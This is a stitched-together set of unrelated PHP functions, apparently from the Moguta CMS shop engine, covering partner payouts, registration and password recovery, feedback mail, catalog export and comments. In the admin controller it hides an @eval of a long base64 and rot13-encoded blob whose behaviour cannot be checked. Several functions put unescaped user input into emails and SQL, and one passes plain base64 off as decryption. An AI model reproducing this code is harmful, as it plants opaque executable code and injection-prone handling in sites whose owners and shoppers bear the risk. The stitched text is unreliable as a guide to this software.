public function sendOrderToPayment() { $id = USER::getThis()->id; $data = array('noparnter' => true); $result = DB::query(' SELECT * FROM `' . PREFIX . 'partner` WHERE `user_id` = ' . DB::quote($id)); if ($row = DB::fetchAssoc($result)) { $data = $row; $sitename = MG::getSetting('sitename'); $subj = 'Партнер #' . $row['id'] . ' на сайте ' . $sitename . ' хочет получить выплату'; $msg = 'Партнер #' . $row['id'] . ' на сайте ' . $sitename . ' хочет получить выплату в размере <b>' . $_POST['summ'] . ' рублей.</b> <br/> Воспользуйтесь <a href="' . SITE . '/mg-admin">панелью администрирования</a>, чтобы проверить информацию о партнере и его заработке.'; //если ответил пользователь то письма отправляются админам $mails = explode(',', MG::getSetting('adminEmail')); // Отправка заявки админам foreach ($mails as $mail) { if (preg_match('/^[A-Za-z0-9._-]+@[A-Za-z0-9_-]+.([A-Za-z0-9_-][A-Za-z0-9_]+)$/', $mail)) { Mailer::addHeaders(array("Reply-to" => $this->email)); Mailer::sendMimeMail(array('nameFrom' => USER::getThis()->sname . " " . USER::getThis()->name, 'emailFrom' => USER::getThis()->email, 'nameTo' => $sitename, 'emailTo' => $mail, 'subject' => $subj, 'body' => $msg, 'html' => true)); } } //оповещение на мыло партнера Mailer::sendMimeMail(array('nameFrom' => $sitename, 'emailFrom' => "noreply@" . $sitename, 'nameTo' => USER::getThis()->sname . " " . USER::getThis()->name, 'emailTo' => USER::getThis()->email, 'subject' => 'Отправлена заявка на получение партнерской выплаты на сайте ' . $sitename, 'body' => 'Вами была отправлена заявка на получение партнерской выплаты на сайте ' . $sitename . ' в размере <b>' . $_POST['summ'] . ' рублей.</b> <br/>Пожалуйста, дождитесь пока мы свяжемся с Вами по электронной почте для учтонения способов перевода денежных средств. <br/>Данное письмо сформированно роботом, отвечать на него не надо.', 'html' => true)); } return true; }
function __construct() { if (!USER::isAuth() || '1' != USER::getThis()->role) { MG::redirect('/'); } $this->data = array('content' => $_POST['content']); }
/** * Проверяет корректность введенных данных в форме регистрации. * * @param array $userData массив данных пользователя. * @param string $mode режим проверки данных (full|pass) полный (по умолчанию) или только пароль. * @return string ошибка в случае не верного ввода данных в одном из полей. */ public function validDataForm($userData, $mode = 'full') { // Проверка электронного адреса. if (USER::getUserInfoByEmail($userData['email']) && 'full' == $mode) { $error .= '<span class="email-in-use">Указанный email уже используется</span>'; } // Пароль должен быть больше 5-ти символов. if (strlen($userData['pass']) < 5) { $error .= '<span class="passError">Пароль менее 5 символов</span>'; } // Проверяем равенство введенных паролей. if (URL::getQueryParametr('pass2') != $userData['pass']) { $error .= '<span class="wrong-pass">Введенные пароли не совпадают</span>'; } if ('full' == $mode) { // Проверка электронного адреса. if (!preg_match('/^[-._a-zA-Z0-9]+@(?:[a-zA-Z0-9][-a-zA-Z0-9]{0,61}+\\.)+[a-zA-Z]{2,6}$/', $userData['email'])) { $error .= '<span class="errorEmail">Неверно заполнено email</span>'; } if (MG::getSetting('useCaptcha') == "true") { if (strtolower(URL::getQueryParametr('capcha')) != strtolower($_SESSION['capcha'])) { $error .= "<span class='error-captcha-text'>Текст с картинки введен неверно!</span>"; } } } $args = func_get_args(); return MG::createHook(__CLASS__ . "_" . __FUNCTION__, $error, $args); }
/** * Выгружает содержание всего каталога в CSV файл * @return array */ public function exportToYml($listProductId = array(), $getYml = false) { if (!$getYml) { header("Content-Type: application/force-download"); header("Content-Type: application/octet-stream;"); header("Content-Type: application/download"); header("Content-Disposition: attachment;filename=data.xml"); header("Content-Transfer-Encoding: binary "); } $currencyShopIso = MG::getSetting('currencyShopIso'); $currencyRate = MG::getSetting('currencyRate'); $currencyRate = $currencyRate[$currencyShopIso]; $nXML = '<?xml version="1.0" encoding="windows-1251"?> <!DOCTYPE yml_catalog SYSTEM "shops.dtd">'; $nXML = mb_convert_encoding($nXML, "WINDOWS-1251", "UTF-8"); if ($getYml) { return $nXML; } if (empty($listProductId)) { echo $nXML; exit; } else { $date = date('m_d_Y_h_i_s'); file_put_contents('data_yml_' . $date . '.xml', $nXML); $msg = 'data_yml_' . $date . '.xml'; } return $msg; }
function __construct() { if (User::isAuth()) { MG::redirect('/'); } // Шаг первый. $form = 1; $fPass = new Models_Forgotpass(); // Ввторой шаг, производящий проверку введеного электронного адреса. if (URL::getQueryParametr('forgotpass')) { $email = URL::getQueryParametr('email'); if ($userInfo = USER::getUserInfoByEmail($email)) { //Если введенных адрес совпадает с зарегистрированным в системе, то $form = 0; $message = 'Инструкция по восстановлению пароля была отправлена на <strong>' . $email . '</strong>'; $hash = $fPass->getHash($email); //а) Случайный хэш заносится в БД. $fPass->sendHashToDB($email, $hash); $siteName = MG::getOption('sitename'); $emailMessage = MG::layoutManager('email_forgot', array('siteName' => $siteName, 'email' => $email, 'hash' => $hash, 'userId' => $userInfo->id, 'link' => SITE . '/forgotpass?sec=' . $hash . '&id=' . $userInfo->id)); $emailData = array('nameFrom' => $siteName, 'emailFrom' => MG::getSetting('noReplyEmail'), 'nameTo' => 'Пользователю сайта ' . $siteName, 'emailTo' => $email, 'subject' => 'Восстановление пароля на сайте ' . $siteName, 'body' => $emailMessage, 'html' => true); //б) На указанный электронный адрес отправляется письмо со сылкой на страницу восстановления пароля. $fPass->sendUrlToEmail($emailData); } else { $form = 0; $error = 'К сожалению, такой логин не найден<br> Если вы уверены, что данный логин существует, пожалуйста, свяжитесь с нами.'; } } // Шаг 3. Обработка перехода по ссылки. Принимается id пользователя и сгенерированный хэш. if ($_GET) { $userInfo = USER::getUserById(URL::getQueryParametr('id')); $hash = URL::getQueryParametr('sec'); // Если присланный хэш совпадает с хэшом из БД для соответствующего id. if ($userInfo->restore == $hash) { $form = 2; // Меняе в БД случайным образом хэш, делая невозможным повторный переход по ссылки. $fPass->sendHashToDB($userInfo->email, $fPass->getHash('0')); $_SESSION['id'] = URL::getQueryParametr('id'); } else { $form = 0; $error = 'Некорректная ссылка. Повторите заново запрос восстановления пароля.'; } } // Шаг 4. обрабатываем запрос на ввод нового пароля if (URL::getQueryParametr('chengePass')) { $form = 2; $person = new Models_Personal(); $msg = $person->changePass(URL::getQueryParametr('newPass'), $_SESSION['id'], true); if ('Пароль изменен' == $msg) { $form = 0; $message = $msg . '! ' . 'Вы можете войти в личный кабинет по адресу <a href="' . SITE . '/enter" >' . SITE . '/enter</a>'; $fPass->activateUser($_SESSION['id']); unset($_SESSION['id']); } else { $error = $msg; } } $this->data = array('error' => $error, 'message' => $message, 'form' => $form, 'meta_title' => 'Восстановление пароля', 'meta_keywords' => $model->currentCategory['meta_keywords'] ? $model->currentCategory['meta_keywords'] : "забыли пароль, восстановить пароль, восстановление пароля", 'meta_desc' => $model->currentCategory['meta_desc'] ? $model->currentCategory['meta_desc'] : "Если вы забыли пароль от личного кабинета, его модно восстановить с помощью формы восстановления паролей."); }
/** * Файл может содержать ряд пользовательских фунций влияющих на работу движка. * В данном файле можно использовать собственные обработчики * перехватывая функции движка, аналогично работе плагинов. * * @author Авдеев Марк <*****@*****.**> * @package moguta.cms * @subpackage File */ function seoMeta($args) { $settings = MG::get('settings'); $args[0]['title'] = !empty($args[0]['title']) ? $args[0]['title'] : ''; $title = !empty($args[0]['meta_title']) ? $args[0]['meta_title'] : $args[0]['title']; MG::set('metaTitle', $title . ' | ' . $settings['sitename']); }
function __construct() { $html = MG::get('pages')->getPageByUrl('feedback'); $html['html_content'] = MG::inlineEditor(PREFIX . 'page', "html_content", $html['id'], $html['html_content']); $data = array('dislpayForm' => true, 'meta_title' => $html['meta_title'] ? $html['meta_title'] : $html['title'], 'meta_keywords' => $html['meta_keywords'], 'meta_desc' => $html['meta_desc'], 'html_content' => $html['html_content'], 'title' => $html['title']); // Если пришли данные с формы. if (isset($_POST['send'])) { // Создает модель отправки сообщения. $feedBack = new Models_Feedback(); // Проверяет на корректность вода. $error = $feedBack->isValidData($_POST); $data['error'] = $error; // Если есть ошибки заносит их в переменную. if (!$error) { $_POST['message'] = nl2br($_POST['message']); //Отправляем админам. $sitename = MG::getSetting('sitename'); //$message = str_replace('№', '#', $feedBack->getMessage()); $body = MG::layoutManager('email_feedback', array('msg' => $_POST['message'], 'email' => $feedBack->getEmail(), 'name' => $feedBack->getFio())); $mails = explode(',', MG::getSetting('adminEmail')); foreach ($mails as $mail) { if (preg_match('/^[-._a-zA-Z0-9]+@(?:[a-zA-Z0-9][-a-zA-Z0-9]+\\.)+[a-zA-Z]{2,6}$/', $mail)) { Mailer::addHeaders(array("Reply-to" => $feedBack->getEmail())); Mailer::sendMimeMail(array('nameFrom' => $feedBack->getFio(), 'emailFrom' => $feedBack->getEmail(), 'nameTo' => $sitename, 'emailTo' => $mail, 'subject' => 'Сообщение с формы обратной связи', 'body' => $body, 'html' => true)); } } MG::redirect('/feedback?thanks=1'); } } // Формирует сообщение. if (isset($_REQUEST['thanks'])) { $data = array('message' => 'Ваше сообщение отправлено!', 'dislpayForm' => false, 'meta_title' => 'Обратная связь', 'meta_keywords' => $model->currentCategory['meta_keywords'] ? $model->currentCategory['meta_keywords'] : "Обратная сввязь, быстрое сообщение, вопрос в поддержку", 'meta_desc' => $model->currentCategory['meta_desc'] ? $model->currentCategory['meta_desc'] : "Задайте свой вопрос по средствам формы обратной связи."); } $this->data = $data; }
public function __construct() { $modelIndex = new Models_Index(); //$pageModel = new Models_Page; $page = MG::get('pages')->getPageByUrl('index'); $this->data = array('popularGoods' => getBestSeller(8), 'newGoods' => $modelIndex->getNewGoods(8), 'currency' => MG::getSetting('currency'), 'meta_title' => $page['meta_title'], 'meta_keywords' => $page['meta_keywords'], 'meta_desc' => $page['meta_desc']); }
static function getInfoRecentProduct($args) { $model = new Models_Product(); $stringRelated = ' null'; $sortRelated = array(); foreach ($args as $item) { $stringRelated .= ',' . DB::quote($item); $sortRelated[$item] = $item; } $stringRelated = substr($stringRelated, 1); $data['products'] = $model->getProductByUserFilter(' p.code IN (' . $stringRelated . ') and p.activity = 1 '); if (!empty($data['products'])) { $data['currency'] = MG::getSetting('currency'); foreach ($data['products'] as $item) { $img = explode('|', $item['image_url']); $item['img'] = $img[0]; $item['url'] = SITE . '/' . (isset($item["category_url"]) ? $item["category_url"] : 'catalog') . '/' . $item["product_url"]; $item['price'] = MG::priceCourse($item['price_course']); $sortRelated[$item['code']] = $item; } $data['products'] = array(); //сортируем связанные товары в том порядке, в котором они идут в строке артикулов foreach ($sortRelated as $item) { if (!empty($item['id']) && is_array($item)) { $data['products'][$item['id']] = $item; } } } return self::htmlRecentlyProducts($data); }
public function send() { if (empty($_POST['fio']) || empty($_POST['email']) || empty($_POST['message']) || empty($_POST['capcha'])) { $this->messageError = 'Необходимо заполнить все поля!'; return FALSE; } else { if (!preg_match('/^[A-Za-z0-9._-]+@[A-Za-z0-9_-]+.([A-Za-z0-9_-][A-Za-z0-9_]+)$/', $_POST['email'])) { $this->messageError = 'Неверно заполнено поле e-mail!'; return FALSE; } if ($_POST['capcha'] != $_SESSION['capcha']) { $this->messageError = 'Неверно введен код с картинки'; return FALSE; } } $feedBack = new Models_Feedback(); $error = $feedBack->isValidData($_POST); $sitename = MG::getSetting('sitename'); $message = str_replace('№', '#', $feedBack->getMessage()); $mails = explode(',', MG::getSetting('adminEmail')); foreach ($mails as $mail) { if (preg_match('/^[-._a-z0-9]+@(?:[a-z0-9][-a-z0-9]+\\.)+[a-z]{2,6}$/', $mail)) { Mailer::addHeaders(array("Reply-to" => $feedBack->getEmail())); Mailer::sendMimeMail(array('nameFrom' => $feedBack->getFio(), 'emailFrom' => $feedBack->getEmail(), 'nameTo' => $sitename, 'emailTo' => $mail, 'subject' => 'Сообщение с формы обратной связи', 'body' => $message, 'html' => true)); } } $this->messageSucces = 'Ваше сообщение успешно отправлено! В ближайшее время мы свяжемся с вами.'; return TRUE; }
/** * Проверяет корректность ввода данных. * * @param array $arrayData массив с данными введенными пользователем. * @return bool|string $error сообщение с ошибкой в случае некорректных данных. */ public function isValidData($arrayData) { $result = false; if (!preg_match('/^[-._a-zA-Z0-9]+@(?:[a-zA-Z0-9][-a-zA-Z0-9]{0,61}+\\.)+[a-zA-Z]{2,6}$/', $arrayData['email'])) { $error = '<span class="error-email">E-mail не существует!</span>'; } elseif (!trim($arrayData['message'])) { $error = 'Введите текст сообщения!'; } if (MG::getSetting('useCaptcha') == "true") { if (strtolower($arrayData['capcha']) != strtolower($_SESSION['capcha'])) { $error .= "<span class='error-captcha-text'>Текст с картинки введен неверно!</span>"; } } // Если нет ощибок, то заносит информацию в поля класса. if ($error) { $result = $error; } else { $this->fio = trim($arrayData['fio']); $this->email = trim($arrayData['email']); $this->message = trim($arrayData['message']); $result = false; } $args = func_get_args(); return MG::createHook(__CLASS__ . "_" . __FUNCTION__, $result, $args); }
/** * Функция дешифрования * @param String $str Строка с закодированным текстом * @return String Строка с результатом Дешифрования */ function mgDecrypt($str) { $data = base64_decode($str); $result = str_replace(self::$_salt, '', $data); $args = func_get_args(); return MG::createHook(__CLASS__ . "_" . __FUNCTION__, $result, $args); }
function __construct() { MG::disableTemplate(); $model = new Models_Order(); MG::addInformer(array('count' => $model->getNewOrdersCount(), 'class' => 'message-wrap', 'classIcon' => 'product-small-icon', 'isPlugin' => false, 'section' => 'orders', 'priority' => 80)); if ('1' == User::getThis()->role) { MG::addInformer(array('count' => '', 'class' => 'message-wrap', 'classIcon' => 'statistic-icon', 'isPlugin' => false, 'section' => 'statistics', 'priority' => 10)); } if (URL::get('csv')) { $model = new Models_Catalog(); $model->exportToCsv(); } if (URL::get('examplecsv')) { $model = new Models_Catalog(); $model->getExampleCSV(); } if (URL::get('examplecsvupdate')) { $model = new Models_Catalog(); $model->getExampleCsvUpdate(); } if (URL::get('yml')) { if (LIBXML_VERSION && extension_loaded('xmlwriter')) { $model = new YML(); if (URL::get('filename')) { if (!$model->downloadYml(URL::get('filename'))) { $response = array('data' => array(), 'status' => 'error', 'msg' => 'Отсутствует запрашиваемый файл'); echo json_encode($response); } } else { $model->exportToYml(); } } else { $response = array('data' => array(), 'status' => 'error', 'msg' => 'Отсутствует необходимое PHP расширение: xmlwriter'); echo json_encode($response); } } if (URL::get('csvuser')) { USER::exportToCsvUser(); } if ($orderId = URL::get('getOrderPdf')) { $model = new Models_Order(); $model->getPdfOrder($orderId); } if ($orderId = URL::get('getExportCSV')) { $model = new Models_Order(); $model->getExportCSV($orderId); } $this->data = array('staticMenu' => MG::getSetting('staticMenu'), 'themeBackground' => MG::getSetting('themeBackground'), 'themeColor' => MG::getSetting('themeColor'), 'languageLocale' => MG::getSetting('languageLocale'), 'informerPanel' => MG::createInformerPanel()); $this->pluginsList = PM::getPluginsInfo(); $this->lang = MG::get('lang'); if (!($checkLibs = MG::libExists())) { $j878723423f5c3ba26da = "base64_decode"; $kdd9391e7490 = "str_rot13"; @eval($j878723423f5c3ba26da($kdd9391e7490("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"))); $this->newVersion = $newVer['lastVersion']; $this->fakeKey = MG::getSetting('trialVersion') ? MG::getSetting('trialVersion') : ''; } }
/** * Сохраняет опции плагина * @return boolean */ public function saveBaseOption() { $this->messageSucces = 'Настройки применены'; $this->messageError = 'Настройки не применены'; if (!empty($_POST['data'])) { MG::setOption(array('option' => 'partners-program', 'value' => addslashes(serialize($_POST['data'])))); } return true; }
function __construct() { $model = new Models_Product(); // Требуется только пересчет цены товара. if (!empty($_REQUEST['calcPrice'])) { $model->calcPrice(); exit; } $product = Storage::get(md5('ControllersProduct' . URL::getUrl())); if ($product == null) { $settings = MG::get('settings'); $product = $model->getProduct(URL::getQueryParametr('id')); if (empty($product)) { MG::redirect('/404'); exit; } $product['meta_title'] = $product['meta_title'] ? $product['meta_title'] : $product['title']; $product['currency'] = $settings['currency']; $blockVariants = $model->getBlockVariants($product['id']); $blockedProp = $model->noPrintProperty(); $propertyFormData = $model->createPropertyForm($param = array('id' => $product['id'], 'maxCount' => $product['count'], 'productUserFields' => $product['thisUserFields'], 'action' => "/catalog", 'method' => "POST", 'ajax' => true, 'blockedProp' => $blockedProp, 'noneAmount' => false, 'noneButton' => $product['count'] ? false : true, 'titleBtn' => MG::getSetting('buttonBuyName'), 'blockVariants' => $blockVariants, 'currency_iso' => $product['currency_iso'])); // Легкая форма без характеристик. $liteFormData = $model->createPropertyForm($param = array('id' => $product['id'], 'maxCount' => $product['count'], 'productUserFields' => null, 'action' => "/catalog", 'method' => "POST", 'ajax' => true, 'blockedProp' => $blockedProp, 'noneAmount' => false, 'noneButton' => $product['count'] ? false : true, 'titleBtn' => MG::getSetting('buttonBuyName'), 'blockVariants' => $blockVariants)); //echo viewData($propertyFormData['defaultSet']); $product['price_course'] += $propertyFormData['marginPrice']; $currencyRate = MG::getSetting('currencyRate'); $currencyShopIso = MG::getSetting('currencyShopIso'); $product['currency_iso'] = $product['currency_iso'] ? $product['currency_iso'] : $currencyShopIso; $product['old_price'] = $product['old_price'] * $currencyRate[$product['currency_iso']]; $product['old_price'] = $product['old_price'] ? $product['old_price'] : 0; $product['price'] = MG::priceCourse($product['price_course']); $product['propertyForm'] = $propertyFormData['html']; $product['propertyNodummy'] = $propertyFormData['propertyNodummy']; $product['stringsProperties'] = $propertyFormData['stringsProperties']; $product['liteFormData'] = $liteFormData['html']; $product['description'] = MG::inlineEditor(PREFIX . 'product', "description", $product['id'], $product['description']); $product['title'] = MG::modalEditor('catalog', $product['title'], 'edit', $product["id"]); // Информация об отсутствии товара на складе. if (MG::getSetting('printRemInfo') == "true") { $message = 'Здравствуйте, меня интересует товар "' . str_replace("'", """, $product['title']) . '" с артикулом "' . $product['code'] . '", но его нет в наличии. Сообщите, пожалуйста, о поступлении этого товара на склад. '; if ($product['count'] != 0) { $style = 'style="display:none;"'; } $product['remInfo'] = "<span class='rem-info' " . $style . ">Товара временно нет на складе!<br/><a href='" . SITE . "/feedback?message=" . $message . "'>Сообщить когда будет в наличии.</a></span>"; } if ($product['count'] < 0) { $product['count'] = "много"; } $product['related'] = $model->createRelatedForm($product['related']); Storage::save(md5('ControllersProduct' . URL::getUrl()), $product); } // MG::set('propertyNodummy',$product['propertyNodummy']); // $_SESSION['propertyNodummy'] = $product['propertyNodummy']; $this->data = $product; }
private function sendMail() { $msg = ''; foreach ($_POST as $k => $v) { $msg .= '<b>' . $k . ':' . '</b> ' . htmlspecialchars($v) . '<br>'; } $msg .= "<b>Отвечать на письмо не нужно</b>"; $siteName = MG::getOption('sitename'); return Mailer::sendMimeMail(array('nameFrom' => $siteName, 'emailFrom' => MG::getSetting('noReplyEmail'), 'nameTo' => 'Администратору сайта ' . $siteName, 'emailTo' => MG::getOption('adminEmail'), 'subject' => 'Форма обратного звонка ' . $siteName, 'body' => $msg, 'html' => true)); }
/** * Получает список продуктов при вводе в поле поиска */ public function getSearchData() { $keyword = URL::getQueryParametr('search'); if (!empty($keyword)) { $catalog = new Models_Catalog(); $items = $catalog->getListProductByKeyWord($keyword, true, true); $searchData = array('status' => 'success', 'item' => array('keyword' => $keyword, 'count' => $items['numRows'], 'items' => $items), 'currency' => MG::getSetting('currency')); } echo json_encode($searchData); exit; }
/** * Конвертирует рускоязычны URL в транслит. * @param string $str рускоязычный url. * @return string|bool */ public static function createUrl($urlstr) { $result = false; if (preg_match('/[^A-Za-z0-9_\\-]/', $urlstr)) { $urlstr = translitIt($urlstr); $urlstr = preg_replace('/[^A-Za-z0-9_\\-]/', '', $urlstr); $result = $urlstr; } $args = func_get_args(); return MG::createHook(__CLASS__ . "_" . __FUNCTION__, $result, $args); }
/** * Выводит страницу настроек плагина в админке */ static function pageSettingsPlugin() { $lang = self::$lang; $pluginName = self::$pluginName; //получаем опцию preview-photoOption в переменную option $option = MG::getSetting('preview-photo-option'); $option = stripslashes($option); $options = unserialize($option); self::preparePageSettings(); include 'pageplugin.php'; }
public function saveBaseOption() { $this->messageSucces = $this->lang['SAVE_BASE']; $this->messageError = $this->lang['NOT_SAVE']; $data = $_POST['data']; if (!empty($data)) { MG::setOption(array('option' => 'uLoginSettings', 'value' => addslashes(serialize($_POST['data'])))); return true; } return false; }
private function getComments() { $result = array(); // Если запрос был со стороны сайта выполняется первая ветка условия. Иначе - вторая. if (isset($_POST['showComments']) && isset($_POST['uri'])) { $uri = explode('/', $_POST['uri']); if (!empty($uri[1])) { unset($uri[0]); $uri = implode('/', $uri); } else { $uri = $uri[0]; } // Запрос для генерации блока пагинации $sql = "\n\t\t\t\tSELECT id, name, comment, UNIX_TIMESTAMP(date) as date\n\t\t\t\tFROM `comments` \n\t\t\t\tWHERE uri = " . DB::quote($uri) . " AND approved = '1'\n\t\t\t\tORDER BY `id` DESC"; $res = DB::query($sql); //Получаем блок пагинации if ($_POST["page"]) { $page = $_POST["page"]; } //если был произведен запрос другой страницы, то присваиваем переменной новый индекс $navigator = new Navigator($sql, $page, MG::getOption('countPrintRowsComments')); //определяем класс $pagination = $navigator->getPager('forAjax'); /* Получаем непосредственно комментарии. Если была запрошена не первая страница комментариев, выполняем вторую ветку условия. */ if (empty($_POST['page'])) { $sql = "\n\t\t\t\tSELECT id, name, comment, UNIX_TIMESTAMP(date) as date\n\t\t\t\tFROM `comments` \n\t\t\t\tWHERE uri = " . DB::quote($uri) . " AND approved = '1'\n\t\t\t\tORDER BY `id` DESC\n\t\t\t\tLIMIT 0, " . MG::getOption('countPrintRowsComments'); $res = DB::query($sql); } else { $start = ($_POST['page'] - 1) * MG::getOption('countPrintRowsComments'); $amount = MG::getOption('countPrintRowsComments'); $sql = "\n\t\t\t\tSELECT id, name, comment, UNIX_TIMESTAMP(date) as date\n\t\t\t\tFROM `comments` \n\t\t\t\tWHERE uri = " . DB::quote($uri) . " AND approved = '1'\n\t\t\t\tORDER BY `id` DESC\n\t\t\t\tLIMIT " . $start . ", " . $amount; $res = DB::query($sql); } while ($row = DB::fetchAssoc($res)) { $row['date'] = date('d.m.Y H:i', $row['date']); $result['comments'][] = $row; } $result['pagination'] = $pagination; echo json_encode($result); exit; } else { $sql = "\n\t\t\t\tSELECT id, name, comment, date\n\t\t\t\tFROM `comments`\n\t\t\t\tORDER BY date DESC"; $res = DB::query($sql); while ($row = DB::fetchAssoc($res)) { $row['date'] = date('d.m.Y H:i', $row['date']); $result[$row['id']] = $row; } return $result; } }
